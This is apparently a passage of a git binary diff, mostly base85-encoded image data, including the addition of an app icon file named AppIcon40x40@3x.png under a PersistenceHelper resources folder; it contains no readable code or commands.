z?9lX3?G6(lrzd3C31;k5fy+iVR{An9Y0AE4?`nghAL#8tuzh3vtMLoCY(0EFwh{IM zR~+te{ysj7fjFj-H|K!aooYDa(0>`9dO)j+;b5!d8gtO5plYo&MNd7;pA$sAE&E}< zLg1l8`l;g$$@Mxv{sq;GE?B!Mkb|g`N6H1c3 z3SX3YIP{1P-+R5+z$+i?5MPIVZgS0!q5kbV>$F<;C2jDTFIDU+lY4~2_E}RfT+u8e zohQmSF}FdwVQ;G+OE*Y;>e`wRJyaQVH+~WGaqCZs`Dp3#)(KX#)LLFk{k9(}s$K4> zT#^|MpW8T+FKAc!d9%DjV`@=mJQ~|%6BLp8TR`x@(-_D0(TV*=ry5&^KhLDU8WoGA`VEI5$RpCq;@=9@GRv=q?O%6&?C-;T! zmK~G^0Of*GD%nV!FvWvGNqC8R21!deFh<~iUV)WGm6!shkAd|mUeZ8Xn@cT=->G*V zItDO=78Rnd^bHvI!6&WHUZblVoGe7qo^Nv zQKHYc&`^{KF?UoY*ir&tNZvSco_O;gk>tGql-g(2uhT#8+iPFM-8Y)`<%7uiRSb)x zdsjT_HNl;}A8{7v#ffluOh82HywIxp_n2@poUVpE(e2aimw;FIUy# zxM!>`I6a8gaq@LQM`rMZns{#5lfEl&)3jEjp`O*s&4o`NU=2iTgpUEa?#BFF_m{@S ze+^qo?kUQh$#)x5R4I79-N)Uy(A~_q>|E}c$wf`uMpeBYzq*dW#t_ti_u%T$qwPn% zh7$CHPi`K?57n+rH*^fGs^~Y*Hncx$Zzzlj?mhY>ys5RRAUHYWQMwyOz#&NN&2cc@ zo7{KoFme98u&%l4h~Z-xG>t1*#5BR6>0ErCnJ3q?dZ+Kh(|H2F?0{qC4&8BC^t8aY zT(62_t&E`T0PKSxU&C_cf8;hiv~P^mH604UPkWLFN>m!fe~K^CGf?&mlM1`biz%w{ z1LKKncZX2A!BNlZzBHVKQP(NF7qKb}GJ{)(n#90m4zB6V*~XukR9sG<-v>(I;Ck|= z1!CsXtFt1SRRDT$QYI7y!h!3hA-bT6}GEmZ{WxGBpcugpGI9P zq!lEbkm?Jrt8j9oKWjwfghYQn$$Z}N4(^|Lcg2x6vdPMy^vnC>(~4BYEBQfEYe491 z048oX({D4kdsPR70d&-B=F{QG5QeXyL(vB>j~RD-HGlc#=YqoW zyqWjAS_^&NF$*PINAO-i1LWPD zU7djq8vtN~@CgW}04L$E|Jmc$Apf%wgw}#iKtU2X3>+5Opa5)C*dU^?LC_7rg!2^p zGdA$gW5Y%fQ894|NhxU=;RytJVB-c6k&U7vVq&7A!m}?3{|7`B#1#Lvd#|{Xceup1 zMCCo1*DED;_cf7Je1r8AhHXTHpSottN^tbSi(|A2n3|MF`CAoAZ! z_Q$dR%`f31Y}hC&Dk3WJ%dZU^(}Zsk1yQko?G{(u>n#zUsI+ZQrlj(|>y=F;DP40P zP~~{ikhH3v1zn%@%eCL0{l7VO>Ho{K|90$u`9%dbiEI$wJP`!|0r2A9UvOFAs|Wxc z_{uV5wu1P$^IRHN?WZ_-9)Sd_DnbQ-7=Q2JP62R90BrqzvT|}ikw$!FJ2MR;KWoZ8 z;90IY#g1kW=`Me4{<+TM zb=(Bk@Q=x#t60Ij*9E}UKPH?1?^DxtdX?}^j+@4fE2Nrz!Q{MNQd>oI!?XA_0YJg@ z;-ZPS`2YHS3={zQ(=BP8xJk0h<8i(X+8e}?>*A05CeV3^pqC{J-Jguw0uK)0ufR3$ zPR&=CvEpghhY`)FWT(*?#WrWUdJ$}>-3GkVJ*Z~x`kAkJ<|L*EqVAMYU3sL7+C-#c zHU~8%T&vJD>Z`PT6nQh^@rNPL!#=KfqaLkuU1+te0<)ZE?q+Ydc#aJtP5`t7%(U8( z>EVOdy8EPR-L{;!jMW>N8AEudXb`* z4lc(xcjH@J3OZD8p+7rqm5(WO)jDZiVOVnT2PXQ=^x~`a1G5&Yy0&lN_H@~z$F~|4 znav^Sgp&dwnLKF~dHJ+;^V5h|A4j8hz^;73yCY>m-*OXGSdRI*u+fEMD^$NT!v!6y zB~khPbuN*Si&}(nBW*%sFJfx2dzat;RC+ z`Zv26q%V2qkwtMMAmT}3!NYxf-k?v=9%)fS-jP6x5_2>%Dy1e+p>#E9E>*d0p>o9r zci-7d%JM30alYMuaUmk}SRZ!IFhg+2*)W++sOH_2sg*%>~D@cByh# z^b}*u6mokKrhA5t_?q>`bheBp+_c34KO^dvf6Zg3j)aXU#%q2!PseVl+nuaN_F9Ct2DltQfh>x_CHm*YlI&c#}x)1J3u& zHII7wH*e}!9I4BHlUTeXVt49{9pT~YzJ6}uAcVDLkN0%4yO6aXnF*xl!jNaRbc6vOPQkyCO#J?VWdY#^= z%AeHP9Bc~@V&toJ4fRKyi{N;p224{H9Grq%Z~X8p?3#{hdK|Rov2S=saC#QZIqjm8~-r;|XFmO5RUW@f$;gM$03nu^)YDQ}4!Kn_XyMuq+C#wEM*l zvyB2E9Kw@{^3|o?8rJz4T0J{kL0v`%9+NCvh`Q5r-s{Svd&4OMKJE*-verEUKpt*X zJ;@CMQzq7t`CMcw#}94Y!s@64+eJQ4Lpv~CGG3Fp%;`=dWaNVVeiIF&!*bV&7X?71 z*VL>Rp~T3-e}sFC?8>|C=m_0re+Zh32!LEzR`XM|A35ka)b_T~3>bI+ki}0OQ+smB zaTsH|2AS#C9tFDCQX+$rdJ?CxeoZ04UCC7*?%H|e@LFfI2e~CA+-|J0Y)07tDSNr5 z{?x2#U$x4cdo>*F#jve@vgwj$RN$q>n@ceb4kAD$uEkG2Oh+GXF)G3X*H}Z6@uBKzaVxpE` z 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%0Aux+-GZS~YMt_3bn0ZF?edpQCQ|-QW z<{_d7?>;Y7Xu1&p!nLnIFtYCK(aGS)7&0uUjkuK7z|9z2D@X99Mra5%{yR2*t7{5Q zU08YS6S|5H2PfDkU$nYEV-j=efn?dOsAOj25;8WPKc=0P!)TNzgWK$%ZF8SqDmSJF z5U*$ajqpeib;K31&YeuFz|^Bt-4y*$5?AWNn>WqpM`<+G@QAr=;$+$GeU=gK)JGEv zn|l3X(?fIu^O|$k6GS1ep7sR0)W<06(wRLmgVt}teF`)Vw_0=bt%^^bx>v-M@^;_! zP+$7lZI5y_vf2AmG8KtKTeAAu*-$QHnL5SJ0gEq=aMfA5jHf~xsY^minA|%k_BMxO z$rS;MOYmSJ8v{=DCuqH!LRs%C3=1^V>-bm9_B$9T;d{<{8fxr&W>o=w{TUT5M*m{^ zR*6=j+|8)e8kC-QOPNdbyx{x(3w&>1b-%A*CX+ZttI@{o?cVn+!;SJY$;TJFA z%aR-PmSd{u8od9;6IbN^k{naTA=ne+9KBLw_x+_@n{x)!tIB_Hwwr^r;RyiH>9wN( zxLH-sM&f>A39GniVZa|+Ax`oz>uUr5$a%V0>bVRAxY?Hy27n3O(-Nps`j2iinXeV* zpi7=b`hZA}jw(w#&#oe;A^OKF#d-4KCwLTH-67?|(4XD){&Y!losOwc$Q zT>%?yk7;naH~BD#`hizs7>?t)(U8a_sNSS+V6=*{iGn#7zYB~c!o zaP$14D7nUyKZ){*Ct_B&7rUV($=EZibsn5i-b=TZ;Ng0W>+dM0>w8Y5#3i3BJ8+vB zUGEP!h3^#ibdNM@+me%H%`$XTY9-se^fVyBz(bAib4e9jF&dw^qTp-~GP_l6*Yq^k zi&tssrI0ZMQ%IHd5nt6E+X?q#6$Y~M9wSYN9j+Er@s5U(`n0T_0DmWQ`aW(ry*n+e z0>hM3p*>ca8?7{{y24UMneA97>>mY3D#^-8ADp-6-TiQ~=~=tK+x4@xKI!;JCn}Us z7p|w}3cTvfPuu-s21(Ga2VhpD?VCSHft+P#Jo Z{Xl;8Ll_E1(+_Y5S#tl!$(Rc!{|kTN8RP%} literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon40x40@3x.png b/PersistenceHelper/Resources/AppIcon40x40@3x.png new file mode 100644 index 0000000000000000000000000000000000000000..348f51f61fe6044330a6b6bfa8fdf4a3641dc6a1 GIT binary patch literal 15740 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 z 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 